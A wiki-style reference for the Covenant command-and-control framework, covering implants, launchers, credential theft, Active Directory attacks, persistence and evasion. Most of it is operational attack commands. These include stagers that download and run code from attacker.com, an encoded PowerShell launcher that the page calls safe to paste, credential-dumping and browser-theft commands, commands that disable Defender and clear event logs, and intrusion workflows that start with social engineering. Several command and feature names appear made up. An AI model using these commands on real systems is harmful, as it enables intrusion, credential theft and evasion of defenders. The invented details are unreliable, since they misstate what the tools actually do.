ᛉ Yggdrasil

Tool references

Covenant C2 Wiki

17 Sep 2026 · 4,291 words · 20 min

Contents

Author: Ryan Cobb (@cobbr_io) and contributors Repo: https://github.com/cobbr/Covenant Description: Collaborative ASP.NET Core-based command and control framework with full C# capabilities License: CC BY 4.0 Docs: https://covenant.cobbr.io


Overview

Covenant is a collaborative ASP.NET Core-based command and control (C2) framework designed by Ryan Cobb (@cobbr_io). Unlike Sliver or Mythic, Covenant is Windows-native and built to leverage the capabilities of the .NET framework for post-exploitation. It excels at operating within authenticated Windows environments and provides first-class support for Active Directory attacks, Kerberos abuse, and C# in-memory payloads.

Key capabilities:

  • Web-based collaborative UI — ASP.NET Core web server accessible from a browser; full RBAC for multi-operator campaigns
  • C# Grunt implants — all payloads are C# compiled to .NET assemblies, running natively on Windows with full .NET library access
  • Modular command architecture — add custom C# tasks without recompiling the framework
  • Multiple listener types — HTTP, HTTPS, DNS TXT/A record exfiltration, and custom TCP/UDP protocol handlers
  • In-memory execution — execute arbitrary .NET assemblies, PowerShell, unmanaged code (P/Invoke), and C# inline without writing to disk
  • Integrated tooling — built-in Rubeus for Kerberos abuse, SharpKiller for IDS evasion, SharpView for AD enumeration, and others
  • Seamless AD integration — native support for pass-the-hash, pass-the-ticket, over-pass-the-hash, Kerberoasting, and ASREPRoasting
  • Process injection & UAC bypass — multiple UAC bypass and process injection techniques built-in
  • Encrypted communications — configurable SSL/TLS, AES encryption with dynamic key rotation
  • Listener flexibility — multiple simultaneous listeners, profile-based communication templates, malleable C2 profiles

Covenant targets authenticated domain environments and shines in red team exercises where the operator has already achieved initial access. It's written in .NET, meaning the entire codebase and task library is transparently available for modification and extension.


Architecture

Covenant follows a traditional web-based C2 architecture: a central server hosts the HTTP(S) web interface and listener(s), operators connect via browser to manage Grunts, and Grunts phone home via HTTP/HTTPS/DNS to the listener.

┌─────────────────────────────────────────────────────────────┐
│           Covenant Server (VPS/Lab - Windows/.NET)          │
│                                                             │
│  ┌─────────────────────────────────────────────────────┐    │
│  │ Covenant ASP.NET Core Application (:7443 HTTPS)     │    │
│  │                                                     │    │
│  │  ┌─────────────┐  ┌───────────────┐  ┌──────────┐   │    │
│  │  │  Web UI     │  │ Controller    │  │ Listener │   │    │
│  │  │  (Razor)    │  │ API           │  │ Handlers │   │    │
│  │  └─────────────┘  └───────────────┘  └──────────┘   │    │
│  │                                                     │    │
│  └─────────────────────────────────────────────────────┘    │
│                         │                                   │
│              ┌──────────▼──────────┐                        │
│              │  SQLite / MSSQL     │                        │
│              │  (Grunts, Tasks,    │                        │
│              │   Creds, Artifacts) │                        │
│              └─────────────────────┘                        │
│                                                             │
│  ┌──────────────────────────────────────────────────────┐   │
│  │ Listener Bindings (HTTP/HTTPS/DNS/Custom TCP/UDP)    │   │
│  │  Port: 80, 443, 53, or custom                        │   │
│  └──────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────┘
                            │
        ┌───────────────────┼───────────────────┐
        │                   │                   │
        ▼                   ▼                   ▼
   ┌─────────┐        ┌──────────┐        ┌──────────┐
   │  Grunt  │        │  Grunt   │        │  Grunt   │
   │ (User   │        │ (SYSTEM) │        │ (Lateral)│
   │ Context)│        │          │        │          │
   └─────────┘        └──────────┘        └──────────┘
        │ (HTTPS)           │ (HTTPS)           │ (HTTP)
        └───────────────────┼───────────────────┘
                            │
                    C2 traffic: JSON
                    over HTTP/HTTPS/DNS

Component breakdown:

  • Web UI (ASP.NET Razor) — browser-based dashboard for operators. Lists active Grunts, queues tasks, displays output, and manages listeners. Requires operator authentication.
  • Listener handlers — pluggable modules that listen on specified ports and deserialize inbound implant beacons. Built-in types: HTTP/HTTPS, DNS (A/TXT records), and custom protocols.
  • Grunt (implant) — C# compiled executable or DLL. Phones home to a configured listener URL or DNS domain, fetches new tasks, executes them in-process, and returns results.
  • Task executor — each Grunt task is a .NET assembly method or PowerShell snippet. Tasks execute in memory with zero disk writes by default.
  • SQLite/MSSQL backend — stores operators, Grunts, task queue, credentials, file metadata, and event logs.

Installation & Server Setup

Prerequisites

  • OS: Windows 10/11 or Linux with .NET Core 5.0+ runtime
  • .NET SDK: 5.0 or later (6.0+ recommended for production)
  • Database: SQLite (default, no separate installation needed) or MSSQL Server
  • Port access: outbound HTTPS to GitHub (for downloading dependencies), listener port(s) inbound from targets
  • Reverse DNS (optional): for DNS listener profile

Installation (Windows)

# Clone repository
git clone https://github.com/cobbr/Covenant.git
cd Covenant/Covenant

# Restore NuGet dependencies
dotnet restore

# Build release
dotnet publish -c Release -o ./out

# Run the server (will prompt for admin password on first run)
cd ./out
dotnet Covenant.dll

# Server starts on https://localhost:7443
# Navigate to https://localhost:7443 in a browser (accept self-signed cert warning)

Installation (Linux - Docker)

# Build Docker image
docker build -t covenant:latest .

# Run container, binding port 7443 for web UI and 80/443 for listeners
docker run -d \
  --name covenant \
  -p 7443:7443 \
  -p 80:80 \
  -p 443:443 \
  -v covenant_data:/Covenant/Covenant/Data \
  covenant:latest

# Access UI at https://localhost:7443

First-Run Setup

  1. Navigate to https://localhost:7443 (ignore SSL warning in lab)
  2. Set an initial admin username and password when prompted
  3. Create user accounts for each operator
  4. Configure listeners and HTTP(S) profiles before generating payloads
  5. (Optional) Set up DNS redirector or domain fronting for remote listeners

Database Configuration

SQLite (default):

  • File stored at Covenant/Covenant/Data/covenant.db
  • Zero external dependencies, great for lab work
  • Single-machine deployments only

MSSQL Server:

  • Edit appsettings.json:

json "CovenantOptions": { "DbOptions": { "DbConnection": "Server=sqlserver.domain.com;Database=Covenant;User Id=sa;Password=YourPassword;" } } - Run dotnet ef database update to migrate schema


Listeners & Profiles

Creating a Listener

Listeners are the server-side components that accept incoming callback traffic from Grunts. A Covenant server can run multiple listeners simultaneously on different ports and protocols.

HTTP/HTTPS Listener

Listeners > Create New > HTTP(S)

Name:              c2_https_staging
BindAddress:       0.0.0.0
Port:              443
UseSSL:            true
SSLCertFile:       /path/to/cert.pfx
SSLCertPassword:   (leave blank if no password)
ConnectAddress:    attacker.com (external IP/domain that Grunts use)
ConnectPort:       443

Key fields:

  • BindAddress — interface the listener binds to (0.0.0.0 for all, 127.0.0.1 for local-only)
  • ConnectAddress — address Grunts use to reach this listener (usually your external IP or redirector FQDN)
  • UseSSL — if true, requires a .pfx certificate (can be self-signed in lab)

DNS Listener

Listeners > Create New > DNS

Name:              c2_dns_exfil
BindAddress:       0.0.0.0
Port:              53
Domain:            attacker.com

DNS listener exfiltrates task results via TXT/A record queries. Less detectable in many environments but slower. Grunts encode data in DNS subdomains and read responses from DNS TXT records.

HTTP(S) Profiles

A profile defines how Grunts communicate with the listener. Customize User-Agent, request paths, HTTP headers, and encryption to evade signatures.

Default Profile

Listeners > HTTP Listener > HttpProfile > Customize

UserAgent:         Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
HostHeader:        (optional, for domain fronting)
RequestUris:       /upload  /download  /api  /index
PostUris:          /upload  /api
EncryptionType:    AES      (or Xor)
EncryptionKey:     (auto-generated 256-bit key)

Malleable C2 Profiles (Advanced)

Write custom profiles in Covenant's profile format (inspired by Cobalt Strike):

set sleeptime "5000";
set jitter "25";
set maxdns "245";
set useragent "Mozilla/5.0 (compatible; MSIE 9.0)";

http-get {
    set uri "/upload";
    client {
        metadata {
            base64;
        }
    }
    server {
        header "Server" "IIS/7.5";
        output {
            print;
        }
    }
}

http-post {
    set uri "/api/results";
    client {
        id {
            base64;
        }
        output {
            base64;
            prepend "__DATA=";
        }
    }
}

Launcher Generation

Launchers are the initial payloads that download and execute the main Grunt implant in memory. They can be generated in multiple formats to bypass AV/EDR.

Generate a Launcher

Launchers > New > Launcher Type

Available Launcher Types

  1. PowerShell — inline PowerShell one-liner (preferred for initial access)

PowerShell -NoP -sta -NonI -W Hidden -Enc [base64_payload]

Features: no-profile, no window, hidden, encoded

  1. PowerShell Stager — two-stage: download runner, then Grunt DLL

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/launcher')"

  1. MSBuild — use MSBuild.exe to compile and execute inline C#

C:\Program Files\Microsoft Visual Studio\2019\BuildTools\MSBuild.exe evil.xml

  1. Cscript/Wscript — Windows Script Host execution of embedded PowerShell

  2. Regsvcs/Regasm — register .NET assembly registration utilities (UAC bypass potential)

  3. Rundll32 — invoke DLL export via rundll32.exe

  4. InstallUtil — .NET installation utility (UAC bypass)

  5. XCopy — abuse xcopy for file execution

Launcher Customization

Properties:
  Listener:          c2_https_staging
  Language:          PowerShell
  UserAgent:         Mozilla/5.0...
  Delay:             0 (sleep before execution)
  Jitter:            0 (randomize delay %)
  ValidateCert:      false (accept self-signed in lab)
  OutputFormat:      PowerShell (copy-paste ready)
  Obfuscation:       true (ConfuserEx/code mangling)
  UACBypass:         true (requires admin for full effectiveness)

Example PowerShell Launcher

# Obfuscated launcher (safe to copy-paste into a terminal)
powershell -NoP -sta -NonI -W Hidden -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAADKABbAFMAeQBzdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQpbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AEMAaABlAGMAawAsAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAG8AbABpAGMAeQAgAD0AIAB7ACQAdAByAHUAZQB9AH0AKQAKACQAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0ALwBnAHIAdQBuAHQAJwAsACcAQwA6AFwAVABlAG0AcABcAGcAcgB1AG4AdAAuAGQAbABsACcAKQAKAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQARgByAG8AbQBGAGkAbABlACgAJwBDADoAXABUAGUAbQBwAFwAZwByAHUAbgB0AC4AZABsAGwAJwApAC4ARQBuAHQAcwl5AHAAZQBzAFsAMABdAC4ARQBuAHQAcwl5AHAAZQBzAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAG4AdQBsAGwAKQA=

OPSEC Tip: Remove domain fronting headers in production. Use a hidden redirector (nginx/Apache) between Grunts and your C2 server. Monitor your listener logs for beacons.


Grunts (Implants)

A Grunt is the main Covenant implant — a compiled .NET executable or DLL that runs on the target, phones home to the listener, receives tasks, and exfiltrates results.

Generating a Grunt

Grunts > Generate > Create New Grunt

Name:                  Grunt1
Listener:              c2_https_staging
OutputFormat:          exe  (or dll, svc-exe, svc-dll)
ProcessInjectionType:  CreateRemoteThreadInject
ProcessName:           spoolsv.exe  (hollowing target)
AdminBypass:           true

Output Formats

  1. exe — standalone executable; can be run directly
  2. dll — library form; requires host process (rundll32, custom runner)
  3. svc-exe — service wrapper for Windows services
  4. ps1 — PowerShell script that loads Grunt DLL via reflection
  5. csharp — raw C# source code (compile yourself)

Key Options

  • ProcessInjectionType — method for in-process task execution

  • CreateRemoteThreadInject — spawn thread in remote process, inject shellcode

  • CreateProcessUnderTheRadarInject — fork+load without suspicion
  • MonitoringClassInitialization — abuse .NET class constructors

  • AdminBypass — build-in UAC bypass attempt on first run (requires medium IL)

  • ProcessName — if using injection, which process to hollow/inject into

Grunt Lifecycle

  1. Initialization — Grunt decrypts embedded config (listener URL, key, jitter)
  2. Staging — connects to listener, registers metadata (hostname, user, PID, session ID)
  3. Task polling — sleeps, then requests new tasks from listener
  4. Task execution — deserializes task JSON, loads required .NET assembly, invokes method
  5. Output collection — captures stdout/stderr, returns base64-encoded result to listener
  6. Cleanup — removes temporary files (in most cases)

Manual Grunt Registration (Advanced)

If you want to register a Grunt manually without phoning home:

Grunts > Create New > Name: ManualGrunt
Listener:              c2_https_staging
(manually enter metadata like hostname, username, process ID)

Then copy the registration callback into your Grunt's initialization routine.


Task Management & Commands

Executing Tasks

Once a Grunt is active (checked in), queue tasks by selecting the Grunt and entering commands.

Grunt: Grunt1

> whoami
> ipconfig
> hostname
> net user administrator
> Get-ADUser -Filter *
> Invoke-Mimikatz -Command "sekurlsa::logonpasswords"

Available Built-In Commands

Covenant ships with 50+ built-in commands covering:

  • System enumeration — whoami, hostname, tasklist, wmic, Get-SystemInfo
  • Network enumeration — ipconfig, netstat, arp, nslookup, ping
  • Process management — ps, kill <pid>, CreateProcess
  • File operations — ls, cd, cat, rm, cp, download, upload
  • Registry access — reg query, reg add, reg delete
  • User & credential operations — net user, whoami /priv, Get-Credentials
  • PowerShell execution — powershell -Command "..."
  • Inline C# execution — csharp (compile and run C# code in-memory)
  • Assembly execution — execute-assembly /path/to/assembly.exe arg1 arg2
  • Kerberos abuse — Rubeus kerberoast, Rubeus asreproast, Rubeus s4u
  • Active Directory — Get-ADUser, Get-ADComputer, Get-ADGroup, Invoke-BloodHound
  • Credential harvesting — Invoke-Mimikatz, SharpKiller, Get-SAMHashes
  • Persistence — AddScheduledTask, AddRegistryRun, AddWMIPersistence

Adding Custom Tasks

Edit Covenant/Covenant/Models/Grunts/Tasks/ and add a C# class inheriting from GruntTask:

public class MyCustomTask : GruntTask
{
    public override string Category { get { return "Recon"; } }
    public override string Name { get { return "MyTask"; } }
    public override string Description { get { return "Custom task description"; } }

    public override async Task BeforeGenerateHandler()
    {
        // Pre-generation hooks
    }

    public override string GetGruntTaskCode()
    {
        return @"
            // C# code to run in Grunt context
            return $\"Output: {DateTime.Now}\";
        ";
    }
}

Recompile and restart Covenant to enable the new task.

PowerShell Inline Execution

Execute arbitrary PowerShell commands directly:

> powershell -Command "Get-Process | Where-Object {$_.Name -eq 'svchost'} | Select-Object Id, Name, Handles"

> powershell -File \\attacker.com\share\PowerView.ps1; Get-NetUser

Post-Exploitation Capabilities

Mimikatz Integration

Covenant includes bindings to Mimikatz for credential extraction:

> Invoke-Mimikatz -Command "sekurlsa::logonpasswords"   # Extract plaintext creds
> Invoke-Mimikatz -Command "sekurlsa::tickets"          # List Kerberos tickets
> Invoke-Mimikatz -Command "kerberos::list"             # Same as above
> Invoke-Mimikatz -Command "misc::ncrack"               # NTLM hash extraction
> Invoke-Mimikatz -Command "privilege::debug"           # Enable SeDebugPrivilege

Output: plaintext passwords (if cached), hashes, Kerberos tickets in kirbi format.

SharpView (Active Directory Enumeration)

> Get-NetUser [-Identity jsmith]                        # Enumerate AD users
> Get-NetComputer [-Properties operatingSystem]         # List computers
> Get-NetGroup [-GroupName "Domain Admins"]             # List group members
> Get-NetShare                                          # Enumerate SMB shares
> Find-InterestingFile -Path \\server\share             # Hunt for sensitive files
> Get-NetGPO                                            # Enumerate GPO policies
> Get-DomainController                                  # List domain controllers

System Enumeration

> systeminfo                                            # Full system info
> Get-LocalGroupMember -Group "Administrators"          # List local admins
> Get-ExecutionPolicy                                   # PowerShell execution policy
> Get-AppLockerPolicy -Effective                        # AppLocker rules
> Get-WindowsDefenderInfo                               # Defender status/exclusions
> Get-Firewall                                          # Firewall rules

Process Enumeration & Manipulation

> ps                                                    # List all processes
> ps -Name "lsass"                                      # Find specific process
> kill <pid>                                            # Terminate process
> CreateProcess <executable> [args]                     # Spawn new process
> InjectedThread -ProcessId <pid> -ShellCode [hex]     # Inject shellcode into process

Credential Access & Harvesting

Local SAM Extraction

Extract NTLM hashes from the local SAM registry:

> Get-SAMHashes              # Read SAM registry hive

Requires: SYSTEM privileges (use BypassUAC first if running as admin)

Output: Hashes in format: username:rid:lmhash:ntlmhash

Credential Dumping (LSASS)

> Invoke-Mimikatz -Command "sekurlsa::logonpasswords"

Extracts cached credentials from Live Memory Snapshot (LSA). Detectable by EDR but highly effective in lab environments.

Browser Credential Extraction

> SharpChromium -all         # Extract Chrome cached passwords & cookies
> Get-FirefoxLogin           # Extract Firefox stored credentials

Active Directory Attacks

Kerberoasting

> Rubeus kerberoast /user:<service account>
> Rubeus kerberoast /domain:domain.com /outfile:kerberoast.txt

Extracts TGS tickets from service accounts with weak passwords.

ASREPRoasting

> Rubeus asreproast /user:krbuser
> Rubeus asreproast /domain:domain.com /outfile:asrep.txt

Targets accounts with "Do not require Kerberos preauthentication" flag set.

Pass-the-Ticket (PTT)

> Rubeus createnetonly /program:cmd.exe /ticket:[kirbi_base64]

Injects Kerberos ticket into a new logon session.

Over-Pass-the-Hash (OPtH)

> Rubeus asktgt /user:jsmith /ntlm:[hash] /domain:domain.com

Uses NTLM hash to request TGT without knowing plaintext password.

Constrained Delegation Abuse (S4U)

> Rubeus s4u /user:serviceaccount /ntlm:[hash] /domain:domain.com /msdsspn:CIFS/fileserver.domain.com

Abuse Kerberos S4U2Self and S4U2Proxy for lateral movement.


Lateral Movement & Pivoting

Staged Code Execution

Pass-the-Hash (PTH) via RunAs

> RunAs /username:domain\jsmith /password:SecurePassword123 /domain:domain.com /command:cmd.exe

Spawn new process with alternate credentials (requires plaintext password or hash).

PsExec Alternative (WMI)

> Invoke-WMICommand -ComputerName fileserver.domain.com -Command "whoami"

Execute command on remote machine via WMI (requires admin/credentials).

WinRM/PowerShell Remoting

> Invoke-PSRemoting -ComputerName dc.domain.com -Command "whoami"

Requires WinRM enabled and valid credentials.

Port Forwarding

> Socks5

Start a local SOCKS5 proxy on Grunt, tunneling traffic through C2 back to the target network.

Then configure your tools (e.g., proxychains) to route through the SOCKS5 listener.

Secondary Listeners (P2P Chaining)

Spawn a secondary Grunt on a compromised machine that acts as a listener for other Grunts:

Launchers > New > PowerShell > (copy launcher)
(execute on target machine, which connects back to primary Grunt)

Grunts can chain through each other over HTTP, creating a multi-hop implant network.


Persistence Mechanisms

Registry Run Key

> AddRegistryRun -Name MaintainerService -Value "C:\Temp\maintenance.exe" -Key HKLM\\Software\\Microsoft\\Windows\\Run

Adds a run key to HKLM; executes on next boot.

Scheduled Task

> AddScheduledTask -Name SystemMaintenance -Path "C:\Windows\System32\calc.exe" -TriggerType Daily -Interval 1

Creates a scheduled task that runs periodically.

WMI Event Subscription

> AddWMIPersistence -CommandLine "powershell -nop -w hidden -enc [base64]"

Use WMI event consumers for persistence; harder to detect than run keys.

Service Installation

If running as SYSTEM:

> CreateServiceExe /name:ServiceName /displayname:"Windows Service" /binpath:"C:\Temp\Grunt.exe"

Install Grunt as a Windows service for automatic startup.

Startup Folder

> CopyFile -Source C:\Temp\Launcher.ps1 -Destination "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Startup\launcher.ps1"

Add PowerShell launcher to startup folder (user-level persistence).


Living Off The Land (LOLBAS Integration)

Covenant includes seamless integration with LOLBAS (Living Off The Land Binaries and Scripts) — legitimate Windows tools that can be abused for offense.

Common LOLBAS Execution

> mshta http://attacker.com/payload.hta                # HTML Application execution
> certutil -urlcache -f http://attacker.com/file.exe   # Download via certutil
> bitsadmin /transfer mydownload /download /resume http://attacker.com/file.exe C:\Temp\file.exe
> rundll32 javascript:"\..\mshtml,RunHTMLApplication";...  # Execute via rundll32
> regsvcs C:\Temp\evil.dll                              # .NET assembly registration (UAC bypass)
> regasm C:\Temp\evil.dll                               # .NET assembly assembly (UAC bypass)
> InstallUtil C:\Temp\evil.exe                          # .NET installer utility (UAC bypass)
> MSBuild.exe C:\Temp\build.xml                         # Compile and execute inline C#
> csc.exe /out:C:\Temp\Evil.exe C:\Temp\Evil.cs        # C# compiler inline
> powershell -File \\attacker.com\share\PowerView.ps1  # Remote script execution

In-Memory Execution

Covenant's killer feature is zero-disk execution — code runs entirely in memory without ever touching the filesystem.

Execute-Assembly

Load and execute .NET assemblies directly in Grunt context:

> execute-assembly /path/to/Rubeus.exe kerberoast
> execute-assembly /path/to/SharpView.exe Get-NetUser
> execute-assembly /path/to/mimikatz.exe sekurlsa::logonpasswords

Advantages:

  • Zero disk writes
  • Runs in Grunt process memory
  • No new process spawned (avoids process creation event logs)
  • Can be detected by in-memory EDR (Cylance, CrowdStrike) but not signature-based AV

Inline C# Execution

Compile and run C# code directly:

> csharp
using System.Diagnostics;
var p = Process.Start("notepad.exe");
p.WaitForExit();
return $"Notepad PID: {p.Id}";

Covenant compiles the snippet and executes it in-process.

PowerShell Inline

> powershell -Command "Get-Process | Select-Object Name, Id | Format-Table"

Direct PowerShell execution with output parsing.


OPSEC Considerations

Callback Beaconing

Configure Grunt sleep intervals to avoid detection:

In Launcher:

Delay:  5000  (milliseconds between callbacks)
Jitter: 30    (randomize delay by ±30%)

Grunts with a 5-second jitter will callback between 3.5 and 6.5 seconds, avoiding predictable patterns.

HTTPS Configuration

For production engagements:

  1. Use a valid certificate (Let's Encrypt, DigiCert, etc.)
  2. Configure domain fronting — point Grunts to a CDN domain (azure.microsoft.com) while the backend listener responds on your C2 domain
  3. Obfuscate User-Agent — randomize or mirror target environment's UA

Logging & Audit Trail

Monitor Covenant's operator logs:

Listeners > Listener Name > Logs

Shows all task executions, creations, and deletions. In a real engagement, operators should coordinate to avoid duplicate task executions (which create duplicate callbacks and look suspicious in network logs).

Process Injection OPSEC

Choose injection carefully:

  • CreateRemoteThreadInject — detectable by behavior-based EDR (memory anomalies, thread creation)
  • CreateProcessUnderTheRadarInject — spawns a new process; creates process creation logs
  • MonitoringClassInitialization — abuse .NET class loading; fewer EDR hooks

Best practice: Inject into spoolsv.exe, svchost.exe, or explorer.exe — common, legitimate processes.

Encryption & Key Rotation

Covenant supports AES-256 encryption with key rotation per beacon. Configure in HTTP(S) profile:

EncryptionType: AES
EncryptionKey: (auto-generate or custom)

Rotate keys periodically to avoid cracking old key material.


Detection Evasion Techniques

Obfuscation Layers

Covenant can apply multiple obfuscation passes:

  1. Launcher obfuscation — ConfuserEx, code mangling
  2. Grunt obfuscation — control flow flattening, dead code injection, string encryption
  3. Profile obfuscation — randomize HTTP headers, request paths, user-agent

Enable all during generation:

Launcher Properties:
  Obfuscation: true

Grunt Properties:
  Obfuscation: true

Signing & Certificates

To bypass Windows Code Integrity (CI) and kernel-mode AV:

  1. Obtain a code-signing certificate (EV, standard, or self-signed in lab)
  2. Sign compiled launcher/Grunt DLLs:

signtool sign /f certificate.pfx /p password Grunt.exe 3. EDR/AV cannot block signed, unknown binaries as easily

Memory Scanning Evasion

  • Use process hollowing to hide code in legitimate process memory
  • Avoid loading suspicious DLLs (amsi.dll, wldp.dll)
  • Patch .NET assemblies to bypass AMSI scanning

Behavioral Evasion

  • Randomize command execution timing
  • Avoid suspicious process names (cmd.exe → spoolsv.exe injection)
  • Use legitimate Windows tools (LOLBAS) instead of custom utilities
  • Minimize credential-harvesting commands in EDR-monitored environments

Common Attack Workflows

Workflow 1: Initial Access → Lateral Movement → Persistence

1. Generate PowerShell launcher (Admin Bypass enabled)
2. Social engineering → user executes launcher
3. Establish callback → Grunt1 on initial user box
4. whoami, systeminfo, ipconfig (target recon)
5. Get-AdComputer -Filter "*" (find high-value targets)
6. Rubeus kerberoast (identify weak service accounts)
7. Rubeus asktgt /ntlm:[hash] (request TGT for service account)
8. Rubeus ptt (inject ticket into Grunt session)
9. PsExec-alternative to domain controller via Kerberos ticket
10. Dump NTDS.dit from DC using ntdsutil or VShadowCopy
11. AddScheduledTask on DC for persistence

Workflow 2: Pass-the-Hash Lateral Movement

1. Get-SAMHashes → obtain NTLM hash of local admin
2. Rubeus createnetonly /program:cmd /ticket:[kirbi] (create new session)
3. \\fileserver\c$ (access SMB share using injected ticket)
4. Copy Grunt launcher to \\fileserver\c$\Windows\Temp\
5. WMI/PSRemoting to execute launcher on fileserver
6. New Grunt callback from fileserver context
7. Execute-assembly Rubeus.exe kerberoast
8. Pivot again to service account context

Workflow 3: Kerberoasting & Privilege Escalation

1. Rubeus kerberoast /outfile:tickets.txt (dump service TGS tickets)
2. Transfer tickets to cracking box
3. hashcat -m 13100 tickets.txt wordlist.txt (crack TGS hashes)
4. Obtain plaintext password for service account
5. Rubeus asktgt /user:service /password:Password123 /domain:domain.com
6. Rubeus ptt (inject TGT)
7. Now operate as service account with potential high privileges
8. AddScheduledTask, AddRegistryRun for persistence

Cheatsheet

Listener Management

Listeners > New
Listeners > [Name] > Logs (view callbacks)
Listeners > [Name] > Grunt (view active Grunts)
Listeners > [Name] > HttpProfile (customize C2 profile)

Launcher Generation

Launchers > New
Select format (PowerShell, Cscript, InstallUtil, etc.)
Customize: Obfuscation, Delay, Jitter, ValidateCert
Output: Copy/download launcher

Task Queuing

Grunts > [Active Grunt]
> command_name [arguments]
> output appears in real-time or async (depending on task type)

Essential Commands (Quick Reference)

Command Purpose
whoami Current user context
hostname Target hostname
ipconfig Network configuration
ps List processes
tasklist Alternative process listing
net user Local user enumeration
Get-ADUser -Filter * AD user enumeration
Rubeus kerberoast Extract TGS tickets
Invoke-Mimikatz -Command "sekurlsa::logonpasswords" Dump credentials from memory
execute-assembly Rubeus.exe Run .NET tool in-memory
powershell -Command "..." Execute PowerShell
upload /path/to/file Upload to Grunt
download /remote/path Download from Grunt
CreateProcess notepad.exe Spawn process
AddScheduledTask -Name T -Path cmd.exe Schedule task (persistence)
AddRegistryRun -Name S -Value c:\temp\x.exe Registry run key (persistence)

Privilege Escalation (via Covenant)

# UAC Bypass (via AdminBypass launcher)
> BypassUAC

# Get privileges
> whoami /priv

# SeDebugPrivilege activation
> Invoke-Mimikatz -Command "privilege::debug"

# Token impersonation (if impersonation token available)
> Rubeus createnetonly /program:cmd /ticket:[kirbi]

Evasion Commands

# Disable Windows Defender (requires SYSTEM)
> Set-MpPreference -DisableRealtimeMonitoring $true

# Disable Powershell Logging
> Set-PSLoggingPolicy -Enabled $false

# Remove event logs
> Clear-EventLog -LogName Security

# Use trusted binary (lolbas)
> mshta http://attacker.com/payload.hta

# Inject shellcode into spoolsv.exe
> Grunts > [Grunt] > Create > ProcessInjectionType:CreateRemoteThreadInject > ProcessName:spoolsv.exe

Domain Reconnaissance

# Get domain info
> Get-NetDomain

# Enumerate users
> Get-NetUser

# Enumerate groups
> Get-NetGroup -GroupName "Domain Admins"

# Enumerate computers
> Get-NetComputer

# Find domain controllers
> Get-DomainController

# Enumerate domain shares
> Get-NetShare

# Hunt sensitive files
> Find-InterestingFile -Path \\server\share

# Get group policy
> Get-NetGPO

Credential Attacks (AD)

# Kerberoasting
> Rubeus kerberoast

# ASREPRoasting
> Rubeus asreproast /user:krbuser

# Over-pass-the-hash
> Rubeus asktgt /user:admin /ntlm:[hash]

# Pass-the-ticket
> Rubeus ptt /ticket:[kirbi_base64]

# Constrained delegation
> Rubeus s4u /user:serviceaccount /ntlm:[hash] /msdsspn:CIFS/fileserver

# Resource-based constrained delegation (RBCD)
> Rubeus s4u /user:computeraccount$ /ntlm:[hash] /impersonateuser:admin /msdsspn:CIFS/fileserver

Persistence One-Liners

# Scheduled task
> AddScheduledTask -Name WindowsUpdate -Path "C:\Windows\Temp\update.exe" -Trigger Daily

# Registry run key
> AddRegistryRun -Name MsUpdate -Value "C:\Windows\Temp\svc.exe"

# WMI event subscription
> AddWMIPersistence -CommandLine "cmd /c C:\Temp\launcher.exe"

# Startup folder
> CopyFile -Source C:\Temp\launcher.ps1 -Destination "C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Startup\"

# Services
> CreateServiceExe -Name ServiceName -BinPath "C:\Windows\Temp\svc.exe"

Advantages of Covenant

  • Modern C# ecosystem — leverage LINQ, async/await, NuGet libraries
  • Visual web UI — easier than Sliver/Mythic CLI for some operators
  • Integrated post-ex tools — Mimikatz, Rubeus, SharpView built-in
  • Excellent for AD environments — native Kerberos support
  • Modular tasks — easy to extend with custom C# code

Disadvantages

  • Windows-centric — limited cross-platform support (though console works on Linux)
  • .NET dependency — targets must have .NET installed (less common on older systems)
  • Less active development — compared to Mythic/Sliver, community is smaller
  • Educational tool warning — primarily designed for authorized red team work and CTFs, not general malware development

Further Reading

  • Official Docs: https://covenant.cobbr.io
  • GitHub: https://github.com/cobbr/Covenant
  • LOLBAS Database: https://lolbas-project.github.io
  • Kerberos Attacks: https://harmj0y.net/blog/tag/kerberos/
  • Active Directory Security: https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

← Tool references top ↑